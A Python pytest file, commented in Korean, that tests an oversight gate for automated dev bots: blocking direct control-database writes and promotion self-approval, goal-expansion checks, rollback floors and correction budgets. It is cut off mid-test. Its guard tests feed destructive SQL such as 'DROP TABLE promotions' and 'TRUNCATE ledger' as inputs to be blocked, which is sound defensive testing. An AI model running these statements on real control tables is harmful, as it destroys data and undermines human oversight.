""" test_v213_phase1_gate_2757.py 회귀 테스트 — ANU v2.13 Phase 1 Gate (task-2758 non-matching thin gate split) 작성자: 개발2팀 테스터 헤임달 ★ task-2758 (회장 결정 2026-06-17): matching 축 4회차 종료·보류. detect_allowlist_axis 및 forbidden op/path/glob/_extract_touched_files/ _normalize 기반 matching 테스트는 전면 제거됐다. gate 판정은 runtime_state flag + contract 메타 + Step5 goal expansion(rs.touched_files vs contract.expected_files normalize set membership) 만으로 검증한다. 커버리지: 1. classify_gate verdict 분기 (flag 기반 + provenance + budget + Step5 + residue + allowed) 2. rollback_floor / max_rollback_cost / effective_floor 순수함수 3. correction_budget (가중치 + 소진, tmp_path) 4. build_escalation_packet 17필드 5. control_db_guard BLOCK/ALLOW 6. promotion_guard BLOCK/ALLOW 7. matrix migration 기존값 보존 8. goal_contract_schema.json 유효성 9. external_probe flag 판정분기 10. Step5 goal expansion (normalize_path safe set membership) 11. matching 제거 회귀 가드 (detect_allowlist_axis 부재 / ALLOWLIST dead trigger) ★ ROLLBACK_COST_FLOOR_VIOLATION 처리 메모: classify_gate step 3 도달 시 touched_axes=[] → rollback_floor([])="LOW" 이나, effective_floor 가 contract.rollback_floor 를 반영하므로 contract.rollback_floor 가 reported 보다 높으면 step 3 에서 ROLLBACK_COST_FLOOR_VIOLATION 이 정상 도달한다. → TestHigh1ContractRollbackFloor 에서 직접 유도 케이스를 검증한다. """ import json import os import subprocess import importlib.util as _ilu from pathlib import Path # --------------------------------------------------------------------------- # importlib 로더 헬퍼 # --------------------------------------------------------------------------- # 동적 workspace root resolve (하드코딩 절대경로 제거). # 1) ANU_WORKSPACE 환경변수 2) git toplevel(이 테스트 파일 기준) 3) cwd # isolated worktree 에서 테스트가 main 체크아웃이 아닌 worktree 의 # 수정본 파일을 로드하도록 보장한다. def _resolve_root(): env = os.environ.get("ANU_WORKSPACE") if env: return Path(env) try: here = Path(__file__).resolve().parent top = subprocess.run( ["git", "rev-parse", "--show-toplevel"], cwd=str(here), capture_output=True, text=True, ).stdout.strip() if top: return Path(top) except Exception: pass return Path.cwd() _ROOT = _resolve_root() def _load(relpath, name): p = _ROOT / relpath spec = _ilu.spec_from_file_location(name, str(p)) assert spec is not None and spec.loader is not None mod = _ilu.module_from_spec(spec) spec.loader.exec_module(mod) return mod GATE = _load("dispatch/v2_13_gate.py", "v2_13_gate_2758") CDB = _load("dispatch/control_db_guard.py", "control_db_guard_2758") PG = _load("scripts/promotion_guard.py", "promotion_guard_2758") CB = _load("scripts/correction_budget.py", "correction_budget_2758") MIG = _load("scripts/migrate_capability_matrix_v213.py", "migrate_cap_2758") # --------------------------------------------------------------------------- # 공통 픽스처 헬퍼 # --------------------------------------------------------------------------- def _valid_contract(): return { "goal_id": "g1", "scope": "thin gate", "blast_radius": "LOW", "allowed_capability_delta": [], "expected_files": ["dispatch/v2_13_gate.py"], "allowed_runtime_changes": [], "forbidden_operations": [], "rollback_floor": "LOW", "budget": {"max": 5}, "exit_criteria": ["tests pass"], "provenance": "chair_injected", } # =========================================================================== # 1. classify_gate verdict 분기 (non-matching) # =========================================================================== class TestClassifyGateVerdicts: def test_invalid_contract_provenance_missing_provenance(self): """provenance 필드를 제거하면 INVALID_CONTRACT_PROVENANCE 반환.""" contract = _valid_contract() del contract["provenance"] result = GATE.classify_gate(contract, "", [], {}) assert result["verdict"] == GATE.GateVerdict.INVALID_CONTRACT_PROVENANCE def test_invalid_contract_provenance_bad_value(self): """provenance 값이 유효하지 않으면 INVALID_CONTRACT_PROVENANCE 반환.""" contract = _valid_contract() contract["provenance"] = "unknown_source" result = GATE.classify_gate(contract, "", [], {}) assert result["verdict"] == GATE.GateVerdict.INVALID_CONTRACT_PROVENANCE def test_invalid_contract_provenance_missing_required_field(self): """필수 필드(goal_id) 누락 시 INVALID_CONTRACT_PROVENANCE 반환.""" contract = _valid_contract() del contract["goal_id"] result = GATE.classify_gate(contract, "", [], {}) assert result["verdict"] == GATE.GateVerdict.INVALID_CONTRACT_PROVENANCE def test_invalid_contract_not_dict(self): """contract 가 dict 가 아니면 INVALID_CONTRACT_PROVENANCE 반환.""" result = GATE.classify_gate("not a dict", "", [], {}) assert result["verdict"] == GATE.GateVerdict.INVALID_CONTRACT_PROVENANCE def test_control_db_direct_write_blocked_via_flag(self): """runtime_state에 control_db_op=True → CONTROL_DB_DIRECT_WRITE_BLOCKED (flag 단독).""" result = GATE.classify_gate( _valid_contract(), "", [], {"control_db_op": True} ) assert result["verdict"] == GATE.GateVerdict.CONTROL_DB_DIRECT_WRITE_BLOCKED def test_promotion_self_approval_blocked_via_flag(self): """runtime_state에 promotion_self_approval=True → PROMOTION_SELF_APPROVAL_BLOCKED (flag 단독).""" result = GATE.classify_gate( _valid_contract(), "", [], {"promotion_self_approval": True} ) assert result["verdict"] == GATE.GateVerdict.PROMOTION_SELF_APPROVAL_BLOCKED def test_external_probe_required(self): """external_probe_required=True + external_probe_status!='PASS' → EXTERNAL_PROBE_REQUIRED.""" result = GATE.classify_gate( _valid_contract(), "", [], {"external_probe_required": True, "external_probe_status": "REQUIRED"}, ) assert result["verdict"] == GATE.GateVerdict.EXTERNAL_PROBE_REQUIRED def test_budget_exceeded_chair_required(self): """runtime_state budget_remaining=0 → BUDGET_EXCEEDED_CHAIR_REQUIRED.""" result = GATE.classify_gate( _valid_contract(), "", [], {"budget_remaining": 0} ) assert result["verdict"] == GATE.GateVerdict.BUDGET_EXCEEDED_CHAIR_REQUIRED def test_goal_expansion_blocked_unexpected_file(self): """touched_files에 expected_files 밖의 파일 → GOAL_EXPANSION_BLOCKED.""" result = GATE.classify_gate( _valid_contract(), "", [], {"touched_files": ["unexpected/other.py"]}, ) assert result["verdict"] == GATE.GateVerdict.GOAL_EXPANSION_BLOCKED def test_goal_expansion_blocked_unexpected_capability(self): """capability_delta 가 allowed_capability_delta 밖이면 GOAL_EXPANSION_BLOCKED.""" result = GATE.classify_gate( _valid_contract(), "", [], {"capability_delta": ["new_cap_not_allowed"]}, ) assert result["verdict"] == GATE.GateVerdict.GOAL_EXPANSION_BLOCKED def test_semantic_residue_chair_default(self): """runtime_state semantic_residue=True → SEMANTIC_RESIDUE_CHAIR_DEFAULT.""" result = GATE.classify_gate( _valid_contract(), "", [], {"semantic_residue": True} ) assert result["verdict"] == GATE.GateVerdict.SEMANTIC_RESIDUE_CHAIR_DEFAULT def test_goal_enabling_correction_allowed(self): """유효 contract + 빈 runtime_state → GOAL_ENABLING_CORRECTION_ALLOWED.""" result = GATE.classify_gate(_valid_contract(), "", [], {}) assert result["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED def test_goal_enabling_correction_allowed_touched_expected_file(self): """touched_files가 expected_files 내부에 있으면 GOAL_ENABLING_CORRECTION_ALLOWED.""" result = GATE.classify_gate( _valid_contract(), "", [], {"touched_files": ["dispatch/v2_13_gate.py"]}, ) assert result["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED def test_gate_verdicts_set_has_exactly_10_members(self): """GATE_VERDICTS frozenset에 정확히 10개의 verdict 문자열이 있어야 한다. ALLOWLIST_AXIS_CHAIR_REQUIRED enum 상수는 dead trigger 로 보존된다.""" expected = { "GOAL_ENABLING_CORRECTION_ALLOWED", "GOAL_EXPANSION_BLOCKED", "SEMANTIC_RESIDUE_CHAIR_DEFAULT", "ALLOWLIST_AXIS_CHAIR_REQUIRED", "BUDGET_EXCEEDED_CHAIR_REQUIRED", "ROLLBACK_COST_FLOOR_VIOLATION", "INVALID_CONTRACT_PROVENANCE", "EXTERNAL_PROBE_REQUIRED", "CONTROL_DB_DIRECT_WRITE_BLOCKED", "PROMOTION_SELF_APPROVAL_BLOCKED", } assert len(GATE.GATE_VERDICTS) == 10 assert set(GATE.GATE_VERDICTS) == expected def test_rollback_cost_floor_violation_in_gate_verdicts(self): """ROLLBACK_COST_FLOOR_VIOLATION 문자열이 GATE_VERDICTS에 존재함을 확인.""" assert "ROLLBACK_COST_FLOOR_VIOLATION" in GATE.GATE_VERDICTS assert GATE.GateVerdict.ROLLBACK_COST_FLOOR_VIOLATION == "ROLLBACK_COST_FLOOR_VIOLATION" # =========================================================================== # 2. rollback_floor / max_rollback_cost 순수함수 # =========================================================================== class TestRollbackFloor: def test_merge_push_release_irreversible(self): assert GATE.rollback_floor(["merge_push_release"]) == "IRREVERSIBLE" def test_local_runner_wiring_medium(self): assert GATE.rollback_floor(["local_runner_wiring"]) == "MEDIUM" def test_test_fixture_only_low(self): assert GATE.rollback_floor(["test_fixture_only"]) == "LOW" def test_multiple_axes_max(self): """여러 축 중 최고값(IRREVERSIBLE)을 반환해야 한다.""" result = GATE.rollback_floor(["test_fixture_only", "systemd_enable_install"]) assert result == "IRREVERSIBLE" def test_empty_axes_low(self): assert GATE.rollback_floor([]) == "LOW" def test_none_axes_low(self): assert GATE.rollback_floor(None) == "LOW" def test_unknown_axis_treated_as_low(self): """ROLLBACK_FLOOR_TABLE에 없는 축은 LOW 취급.""" assert GATE.rollback_floor(["nonexistent_axis"]) == "LOW" class TestMaxRollbackCost: def test_reported_low_floor_high(self): """reported < floor → floor(HIGH) 반환.""" assert GATE.max_rollback_cost("LOW", "HIGH") == "HIGH" def test_reported_irreversible_floor_low(self): """reported > floor → reported(IRREVERSIBLE) 반환.""" assert GATE.max_rollback_cost("IRREVERSIBLE", "LOW") == "IRREVERSIBLE" def test_equal_values(self): assert GATE.max_rollback_cost("MEDIUM", "MEDIUM") == "MEDIUM" def test_floor_clamp_behavior(self): """max_rollback_cost(reported, floor)가 reported를 floor 이상으로 끌어올림.""" assert GATE.max_rollback_cost("LOW", "MEDIUM") == "MEDIUM" assert GATE.max_rollback_cost("LOW", "IRREVERSIBLE") == "IRREVERSIBLE" assert GATE.max_rollback_cost("HIGH", "IRREVERSIBLE") == "IRREVERSIBLE" def test_cost_order_full_chain(self): """COST_ORDER 4단계 전부 비교.""" order = ["LOW", "MEDIUM", "HIGH", "IRREVERSIBLE"] for i, lo in enumerate(order): for j, hi in enumerate(order): result = GATE.max_rollback_cost(lo, hi) expected = order[max(i, j)] assert result == expected, f"max_rollback_cost({lo!r},{hi!r}) expected {expected!r} got {result!r}" # =========================================================================== # 3. correction_budget (가중치 + 소진, tmp_path) # =========================================================================== class TestCorrectionBudget: def test_weight_expected_files_reversible(self): assert CB.correction_weight("expected_files_reversible") == 1 def test_weight_local_runner_wiring(self): assert CB.correction_weight("local_runner_wiring") == 2 def test_weight_systemd_unit_touch(self): assert CB.correction_weight("systemd_unit_touch") == 3 def test_weight_same_semantic_axis_repeat_adds_penalty(self): """same_semantic_axis_repeat=True 이면 base보다 최소 1 이상 큰 값.""" base = CB.correction_weight("expected_files_reversible", same_semantic_axis_repeat=False) with_repeat = CB.correction_weight("expected_files_reversible", same_semantic_axis_repeat=True) assert with_repeat >= base + 1 def test_weight_strong_repeat_adds_more(self): """strong_repeat=True 이면 같은 유형에 2 페널티.""" base = CB.correction_weight("local_runner_wiring") strong = CB.correction_weight("local_runner_wiring", same_semantic_axis_repeat=True, strong_repeat=True) assert strong == base + 2 def test_update_ledger_exhausts_budget(self, tmp_path): """2회 update_ledger 호출로 budget 소진(weight=3 x 2 = 6 > 5).""" ledger_file = str(tmp_path / "ledger.json") CB.update_ledger("goal_exhaust", "sig1", "systemd_unit_touch", budget=5, ledger_path=ledger_file) entry = CB.update_ledger("goal_exhaust", "sig2", "systemd_unit_touch", budget=5, ledger_path=ledger_file) assert CB.is_budget_exhausted(entry) assert entry["budget_remaining"] <= 0 def test_same_goal_correction_count_increases(self, tmp_path): """update_ledger 호출마다 same_goal_correction_count가 증가한다.""" ledger_file = str(tmp_path / "ledger_count.json") e1 = CB.update_ledger("goal_cnt", "sig1", "test_fixture_reporting", budget=5, ledger_path=ledger_file) e2 = CB.update_ledger("goal_cnt", "sig2", "test_fixture_reporting", budget=5, ledger_path=ledger_file) assert e1["same_goal_correction_count"] == 1 assert e2["same_goal_correction_count"] == 2 def test_budget_not_reset_after_exhausted(self, tmp_path): """소진 후 추가 update_ledger 호출 시 budget_remaining이 증가(reset)하지 않는다.""" ledger_file = str(tmp_path / "ledger_noreset.json") CB.update_ledger("goal_nr", "sig1", "systemd_unit_touch", budget=5, ledger_path=ledger_file) entry_exhausted = CB.update_ledger("goal_nr", "sig2", "systemd_unit_touch", budget=5, ledger_path=ledger_file) budget_after_exhaustion = entry_exhausted["budget_remaining"] assert budget_after_exhaustion <= 0 # 추가 호출 — budget이 양수로 reset되어서는 안 된다 entry_after = CB.update_ledger("goal_nr", "sig3", "expected_files_reversible", budget=5, ledger_path=ledger_file) assert entry_after["budget_remaining"] <= budget_after_exhaustion def test_load_save_roundtrip(self, tmp_path): """load_ledger → save_ledger → load_ledger 왕복이 동일 데이터를 반환한다.""" ledger_file = str(tmp_path / "ledger_rs.json") original = {"goals": {"g1": {"budget_remaining": 3}}} CB.save_ledger(original, ledger_file) loaded = CB.load_ledger(ledger_file) assert loaded == original def test_load_ledger_missing_file_returns_empty(self, tmp_path): """파일 없으면 {'goals': {}} 반환.""" ledger_file = str(tmp_path / "nonexistent.json") result = CB.load_ledger(ledger_file) assert result == {"goals": {}} def test_is_budget_exhausted_true(self): assert CB.is_budget_exhausted({"budget_remaining": 0}) is True assert CB.is_budget_exhausted({"budget_remaining": -1}) is True def test_is_budget_exhausted_false(self): assert CB.is_budget_exhausted({"budget_remaining": 1}) is False # =========================================================================== # 4. build_escalation_packet 17필드 # =========================================================================== class TestBuildEscalationPacket: def _make_packet(self, **overrides): defaults = dict( goal_id="g1", requested_decision="ALLOW", gate_verdict="GOAL_ENABLING_CORRECTION_ALLOWED", semantic_residue=False, trust_roots_touched=[], rollback_cost="LOW", blast_radius="LOW", budget_remaining=5, diff_summary="minor fix", expected_files=["dispatch/v2_13_gate.py"], outside_expected_files=[], forbidden_operations_detected=[], external_probe_status="NOT_REQUIRED", recommended_action="proceed", safe_default="BLOCK", ) defaults.update(overrides) return GATE.build_escalation_packet(**defaults) def test_packet_has_17_keys(self): packet = self._make_packet() assert len(packet) == 17 def test_packet_keys_match_escalation_packet_fields(self): packet = self._make_packet() assert set(packet.keys()) == set(GATE.ESCALATION_PACKET_FIELDS) def test_packet_goal_id_value(self): packet = self._make_packet(goal_id="test-goal-xyz") assert packet["goal_id"] == "test-goal-xyz" def test_packet_gate_verdict_value(self): packet = self._make_packet(gate_verdict="GOAL_EXPANSION_BLOCKED") assert packet["gate_verdict"] == "GOAL_EXPANSION_BLOCKED" def test_packet_default_retry_count_zero(self): """same_signature_retry_count 기본값은 0.""" packet = self._make_packet() assert packet["same_signature_retry_count"] == 0 def test_packet_default_correction_count_zero(self): """same_goal_correction_count 기본값은 0.""" packet = self._make_packet() assert packet["same_goal_correction_count"] == 0 def test_packet_custom_retry_and_correction_counts(self): packet = self._make_packet( same_signature_retry_count=3, same_goal_correction_count=7, ) assert packet["same_signature_retry_count"] == 3 assert packet["same_goal_correction_count"] == 7 def test_escalation_packet_fields_tuple_length(self): assert len(GATE.ESCALATION_PACKET_FIELDS) == 17 # =========================================================================== # 5. control_db_guard BLOCK / ALLOW # =========================================================================== class TestControlDbGuard: def test_dev_bot_heartbeat_update_blocked(self): result = CDB.check_db_write("dev_bot", "UPDATE bots SET heartbeat_at=now()") assert result["blocked"] is True assert result["verdict"] == "CONTROL_DB_DIRECT_WRITE_BLOCKED" def test_dev_bot_promotions_approved_blocked(self): result = CDB.check_db_write("dev_bot", "UPDATE promotions SET status='APPROVED'") assert result["blocked"] is True assert result["verdict"] == "CONTROL_DB_DIRECT_WRITE_BLOCKED" def test_chair_heartbeat_update_allowed(self): """chair는 chair-class actor이므로 허용.""" result = CDB.check_db_write("chair", "UPDATE bots SET heartbeat_at=now()") assert result["blocked"] is False def test_dev_bot_select_allowed(self): """읽기(SELECT)는 허용.""" result = CDB.check_db_write("dev_bot", "SELECT * FROM bots") assert result["blocked"] is False def test_anu_control_allowed(self): result = CDB.check_db_write("anu-control", "UPDATE bots SET heartbeat_at=now()") assert result["blocked"] is False def test_independent_verifier_allowed(self): result = CDB.check_db_write("independent_verifier", "UPDATE promotions SET status='APPROVED'") assert result["blocked"] is False def test_result_has_actor_field(self): result = CDB.check_db_write("some_bot", "SELECT 1") assert result["actor"] == "some_bot" def test_dev_bot_sqlite_write_blocked(self): """sqlite + write 키워드 조합은 차단.""" result = CDB.check_db_write("dev_bot", "sqlite3.connect('db') execute update bots") assert result["blocked"] is True # =========================================================================== # 6. promotion_guard BLOCK / ALLOW # =========================================================================== class TestPromotionGuard: def test_dev_bot_candidate_to_approved_blocked(self): result = PG.check_promotion_transition("dev_bot", "CANDIDATE", "APPROVED") assert result["blocked"] is True assert result["verdict"] == "PROMOTION_SELF_APPROVAL_BLOCKED" def test_chair_candidate_to_approved_allowed(self): result = PG.check_promotion_transition("chair", "CANDIDATE", "APPROVED") assert result["blocked"] is False def test_independent_verifier_candidate_to_approved_allowed(self): result = PG.check_promotion_transition("independent_verifier", "CANDIDATE", "APPROVED") assert result["blocked"] is False def test_dev_bot_none_to_candidate_allowed(self): """CANDIDATE로의 전환은 허용.""" result = PG.check_promotion_transition("dev_bot", "NONE", "CANDIDATE") assert result["blocked"] is False def test_anu_control_approved_allowed(self): result = PG.check_promotion_transition("anu-control", "CANDIDATE", "APPROVED") assert result["blocked"] is False def test_random_actor_rejected_transition_allowed(self): """REJECTED 전환은 제한 없음.""" result = PG.check_promotion_transition("some_bot", "CANDIDATE", "REJECTED") assert result["blocked"] is False def test_verdict_none_when_allowed(self): """허용 시 verdict는 None이어야 한다.""" result = PG.check_promotion_transition("chair", "CANDIDATE", "APPROVED") assert result["verdict"] is None # =========================================================================== # 7. matrix migration 기존값 보존 # =========================================================================== class TestMatrixMigration: _MATRIX_PATH = str(_ROOT / "memory" / "state" / "automation_capability_matrix.json") def _load_matrix(self): with open(self._MATRIX_PATH, "r", encoding="utf-8") as f: return json.load(f) def test_migrate_matrix_top_level_keys_preserved(self): """최상위 키(schema, updated_at 등)가 마이그레이션 후에도 보존된다.""" matrix = self._load_matrix() original_top_keys = set(matrix.keys()) m2 = MIG.migrate_matrix(matrix) assert original_top_keys.issubset(set(m2.keys())) def test_migrate_matrix_capabilities_count_unchanged(self): """capabilities 항목 수가 마이그레이션 후에도 동일하다.""" matrix = self._load_matrix() m2 = MIG.migrate_matrix(matrix) assert len(m2["capabilities"]) == len(matrix["capabilities"]) def test_migrate_matrix_v213_fields_added_to_entry(self): """V213_FIELDS 9개가 마이그레이션된 첫 번째 entry에 추가된다.""" matrix = self._load_matrix() m2 = MIG.migrate_matrix(matrix) first_key = list(m2["capabilities"].keys())[0] entry = m2["capabilities"][first_key] for field in MIG.V213_FIELDS: assert field in entry, f"V213_FIELDS '{field}' missing in migrated entry" def test_migrate_matrix_existing_keys_preserved(self): """기존 entry의 모든 키가 마이그레이션 후에도 보존된다.""" matrix = self._load_matrix() first_key = list(matrix["capabilities"].keys())[0] original_keys = set(matrix["capabilities"][first_key].keys()) m2 = MIG.migrate_matrix(matrix) migrated_keys = set(m2["capabilities"][first_key].keys()) assert original_keys.issubset(migrated_keys) def test_migrate_entry_existing_lowercase_not_overwritten(self): """기존 lowercase 'implemented' 키는 IMPLEMENTED 값으로 덮어쓰지 않는다.""" entry = {"IMPLEMENTED": True, "implemented": False} result = MIG.migrate_entry(entry) assert result["implemented"] is False, ( "기존 lowercase 'implemented' 필드가 IMPLEMENTED 값으로 덮어쓰여서는 안 된다" ) def test_migrate_entry_adds_implemented_from_uppercase(self): """lowercase 'implemented'가 없으면 IMPLEMENTED에서 파생한다.""" entry = {"IMPLEMENTED": True} result = MIG.migrate_entry(entry) assert result["implemented"] is True def test_migrate_matrix_does_not_mutate_input(self): """migrate_matrix는 deepcopy를 사용하므로 원본 matrix를 변경하지 않는다.""" matrix = self._load_matrix() first_key = list(matrix["capabilities"].keys())[0] original_keys_snapshot = set(matrix["capabilities"][first_key].keys()) MIG.migrate_matrix(matrix) assert set(matrix["capabilities"][first_key].keys()) == original_keys_snapshot def test_migrate_entry_synthetic_no_live_dependency(self): """live matrix 없이도 migrate_entry 가 합성 entry 에 9필드를 추가한다. (matrix live 파일은 7파일 밖 forbidden_path 이므로 PR diff 와 무관하게, migration 로직 자체를 합성 입력으로 독립 검증한다.)""" entry = {"IMPLEMENTED": True, "VERIFIED": False} result = MIG.migrate_entry(entry) for field in MIG.V213_FIELDS: assert field in result def test_v213_fields_list_has_9_items(self): """V213_FIELDS 리스트가 정확히 9개 항목을 가진다.""" assert len(MIG.V213_FIELDS) == 9 def test_v213_fields_content(self): """V213_FIELDS의 9개 필드명이 정확하다.""" expected = { "implemented", "verified", "wired", "active", "policy", "rollback_cost", "trust_roots_touched", "semantic_residue", "budget_scope", } assert set(MIG.V213_FIELDS) == expected # =========================================================================== # 8. goal_contract_schema.json 유효성 # =========================================================================== class TestGoalContractSchema: _SCHEMA_PATH = str(_ROOT / "memory" / "schemas" / "goal_contract_schema.json") def _load_schema(self): with open(self._SCHEMA_PATH, "r", encoding="utf-8") as f: return json.load(f) def test_schema_is_valid_json(self): """schema 파일이 유효한 JSON으로 로드 가능해야 한다.""" schema = self._load_schema() assert isinstance(schema, dict) def test_schema_type_is_object(self): schema = self._load_schema() assert schema.get("type") == "object" def test_schema_required_has_10_fields(self): """required 배열에 정확히 10개의 필수 필드가 있어야 한다.""" schema = self._load_schema() required = schema.get("required", []) assert len(required) == 10 def test_schema_required_contains_all_mandatory_fields(self): """required 배열에 10개의 필수 필드가 모두 포함되어야 한다.""" schema = self._load_schema() required = set(schema.get("required", [])) mandatory = { "goal_id", "scope", "blast_radius", "allowed_capability_delta", "expected_files", "allowed_runtime_changes", "forbidden_operations", "rollback_floor", "budget", "exit_criteria", } assert mandatory.issubset(required), ( f"schema required에서 누락된 필드: {mandatory - required}" ) def test_schema_has_properties(self): """schema에 'properties' 키가 있어야 한다.""" schema = self._load_schema() assert "properties" in schema def test_schema_has_schema_key(self): """$schema 키가 있어야 한다.""" schema = self._load_schema() assert "$schema" in schema # =========================================================================== # 9. contract rollback_floor 반영 / forced floor 회귀 # =========================================================================== def _rank(c): return ["LOW", "MEDIUM", "HIGH", "IRREVERSIBLE"].index(c) class TestHigh1ContractRollbackFloor: """classify_gate 가 contract.rollback_floor 를 반영한다.""" def test_effective_floor_reflects_contract_floor(self): """effective_floor 가 contract.rollback_floor 를 max 에 반영한다.""" assert GATE.effective_floor([], {"rollback_floor": "IRREVERSIBLE"}) == "IRREVERSIBLE" assert GATE.effective_floor([], {"rollback_floor": "HIGH"}) == "HIGH" def test_effective_floor_max_of_table_and_contract(self): """table floor 와 contract floor 중 더 높은 값을 반환한다.""" assert GATE.effective_floor(["local_runner_wiring"], {"rollback_floor": "HIGH"}) == "HIGH" assert GATE.effective_floor(["merge_push_release"], {"rollback_floor": "LOW"}) == "IRREVERSIBLE" def test_effective_floor_forced_argument(self): """forced 인자가 최댓값 산정에 반영된다 (control_db=HIGH, promotion=IRREVERSIBLE).""" assert GATE.effective_floor([], {"rollback_floor": "LOW"}, forced="HIGH") == "HIGH" assert GATE.effective_floor([], {"rollback_floor": "LOW"}, forced="IRREVERSIBLE") == "IRREVERSIBLE" def test_rollback_cost_floor_violation_now_reachable_via_contract(self): """contract.rollback_floor=HIGH + reported=LOW + 무축 → ROLLBACK_COST_FLOOR_VIOLATION.""" contract = _valid_contract() contract["rollback_floor"] = "HIGH" result = GATE.classify_gate( contract, "", [], {"reported_rollback_cost": "LOW"} ) assert result["verdict"] == GATE.GateVerdict.ROLLBACK_COST_FLOOR_VIOLATION def test_passing_case_rollback_cost_includes_contract_floor(self): """통과 케이스에서도 rollback_cost 가 contract floor 이상으로 보고된다.""" contract = _valid_contract() contract["rollback_floor"] = "MEDIUM" result = GATE.classify_gate( contract, "", [], {"reported_rollback_cost": "MEDIUM"} ) assert result["verdict"] == GATE.GateVerdict.GOAL_ENABLING_CORRECTION_ALLOWED assert _rank(result["rollback_cost"]) >= _rank("MEDIUM") class TestHigh2ControlDbFloor: """control_db_op=True 시 floor 를 HIGH 이상으로 강제 (flag 단독).""" def test_control_db_op_forces_floor_high_min(self): result = GATE.classify_gate( _valid_contract(), "", [], {"control_db_op": True, "reported_rollback_cost": "LOW"}, ) assert result["verdict"] == GATE.GateVerdict.CONTROL_DB_DIRECT_WRITE_BLOCKED assert _rank(result["rollback_cost"]) >= _rank("HIGH") class TestHigh3PromotionFloor: """promotion APPROVED 전환 시 floor=IRREVERSIBLE 강제 (flag 단독).""" def test_promotion_self_approval_forces_irreversible(self): result = GATE.classify_gate( _valid_contract(), "", [], {"promotion_self_approval": True, "reported_rollback_cost": "LOW"}, ) assert result["verdict"] == GATE.GateVerdict.PROMOTION_SELF_APPROVAL_BLOCKED assert result["rollback_cost"] == "IRREVERSIBLE" class TestHigh4High5SqliteDdlReplace: """sqlite/control-table write 탐지에 REPLACE + DDL 추가, 대소문자 무관 (control_db_guard).""" def test_sqlite_replace_blocked(self): result = CDB.check_db_write("dev_bot", "sqlite3 INSERT OR REPLACE INTO x VALUES(1)") assert result["blocked"] is True def test_sqlite_ddl_drop_blocked_uppercase(self): result = CDB.check_db_write("dev_bot", "sqlite3.connect('db'); DROP TABLE foo") assert result["blocked"] is True def test_sqlite_ddl_create_blocked_mixedcase(self): result = CDB.check_db_write("dev_bot", "SQLite3 CrEaTe TABLE foo(x)") assert result["blocked"] is True def test_control_table_replace_blocked(self): """sqlite 키워드 없이도 control table 에 REPLACE 면 차단.""" result = CDB.check_db_write("dev_bot", "REPLACE INTO bots(id) VALUES(1)") assert result["blocked"] is True assert result["verdict"] == "CONTROL_DB_DIRECT_WRITE_BLOCKED" def test_control_table_drop_ddl_blocked(self): result = CDB.check_db_write("dev_bot", "DROP TABLE promotions") assert result["blocked"] is True def test_control_table_truncate_ledger_blocked(self): result = CDB.check_db_write("dev_bot", "TRUNCATE ledger") assert result["blocked"] is True def test_chair_replace_still_allowed(self): """chair-class 는 REPLACE/DDL 도 허용 (권한 actor).""" result = CDB.check_db_write("chair", "REPLACE INTO bots(id) VALUES(1)") assert result["blocked"] is False def test_plain_select_still_allowed(self): """SELECT 는 여전히 허용 (오탐 회귀 방지).""" result = CDB.check_db_write("dev_bot", "SELECT * FROM bots") assert result["blocked"] is False class TestHigh6to9DynamicRoot: """하드코딩 절대경로 제거, ANU_WORKSPACE/git/cwd 동적 resolve.""" def test_correction_budget_no_hardcoded_default_constant(self): """correction_budget 모듈에 하드코딩 DEFAULT_LEDGER_PATH 상수가 없다.""" assert not hasattr(CB, "DEFAULT_LEDGER_PATH") assert hasattr(CB, "default_ledger_path") def test_ledger_path_honors_anu_workspace(self, monkeypatch, tmp_path): monkeypatch.setenv("ANU_WORKSPACE", str(tmp_path)) p = CB.default_ledger_path() assert p.startswith(str(tmp_path)) assert p.endswith("memory/state/correction_budget_ledger.json") def test_matrix_path_honors_anu_workspace(self, monkeypatch, tmp_path): monkeypatch.setenv("ANU_WORKSPACE", str(tmp_path)) p = MIG.default_matrix_path() assert p.startswith(str(tmp_path)) assert p.endswith("memory/state/automation_capability_matrix.json") def test_no_hardcoded_workspace_in_gate_source(self): """v2_13_gate.py 소스에 하드코딩 /home/jay/workspace 가 없다.""" src = (_ROOT / "dispatch" / "v2_13_gate.py").read_text(encoding="utf-8") assert "/home/jay/workspace" not in src def test_update_ledger_uses_injected_root(self, monkeypatch, tmp_path): """ANU_WORKSPACE 주입 시 update_ledger 가 주입 경로 하위에 ledger 를 만든다.""" monkeypatch.setenv("ANU_WORKSPACE", str(tmp_path)) CB.update_ledger("g_root", "sig1", "test_fixture_reporting", budget=5) expected = tmp_path / "memory" / "state" / "correction_budget_ledger.json" assert expected.exists() class TestHigh10AtomicWrite: """matrix/ledger atomic write (tmp + flush + fsync + os.replace).""" def test_save_ledger_leaves_no_tmp(self, tmp_path): ledger_file = str(tmp_path / "ledger.json") CB.save_ledger({"goals": {"g": {"budget_remaining": 3}}}, ledger_file) assert os.path.exists(ledger_file) assert not os.path.exists(ledger_file + ".tmp") def test_save_ledger_atomic_original_intact_on_failure(self, tmp_path, monkeypatch): """쓰기 도중(fsync) 실패해도 기존 ledger 가 손상되지 않는다.""" ledger_file = str(tmp_path / "ledger.json") CB.save_ledger({"goals": {"g": {"budget_remaining": 7}}}, ledger_file) def _boom(fd): raise OSError("simulated fsync interruption") monkeypatch.setattr(CB.os, "fsync", _boom) try: CB.save_ledger({"goals": {"g": {"budget_remaining": 999}}}, ledger_file) except OSError: pass loaded = CB.load_ledger(ledger_file) assert loaded["goals"]["g"]["budget_remaining"] == 7 def test_migrate_main_atomic_write_no_tmp(self, tmp_path, monkeypatch): """migrate main(write=True) 후 .tmp 잔존 없이 matrix 가 갱신된다. synthetic matrix(tmp_path)만 사용하며 live matrix 는 건드리지 않는다.""" monkeypatch.setenv("ANU_WORKSPACE", str(tmp_path)) matrix_path = tmp_path / "memory" / "state" / "automation_capability_matrix.json" matrix_path.parent.mkdir(parents=True, exist_ok=True) matrix_path.write_text( json.dumps({"capabilities": {"cap_a": {"IMPLEMENTED": True}}}), encoding="utf-8", ) MIG.main(write=True) assert matrix_path.exists() assert not (str(matrix_path) + ".tmp" in os.listdir(str(matrix_path.parent))) result = json.loads(matrix_path.read_text(encoding="utf-8")) assert "implemented" in result["capabilities"]["cap_a"] # =========================================================================== # 10. external_probe flag 판정분기 (판정만 — probe 구현 없음) # =========================================================================== class TestExternalProbeFlag: """external_probe 는 rs flag 기반 verdict 만 — daemon/key custody 구현 없음.""" def test_probe_required_status_required_blocks(self): result = GATE.classify_gate( _valid_contract(), "", [], {"external_probe_required": True, "external_probe_status": "REQUIRED"}, ) assert 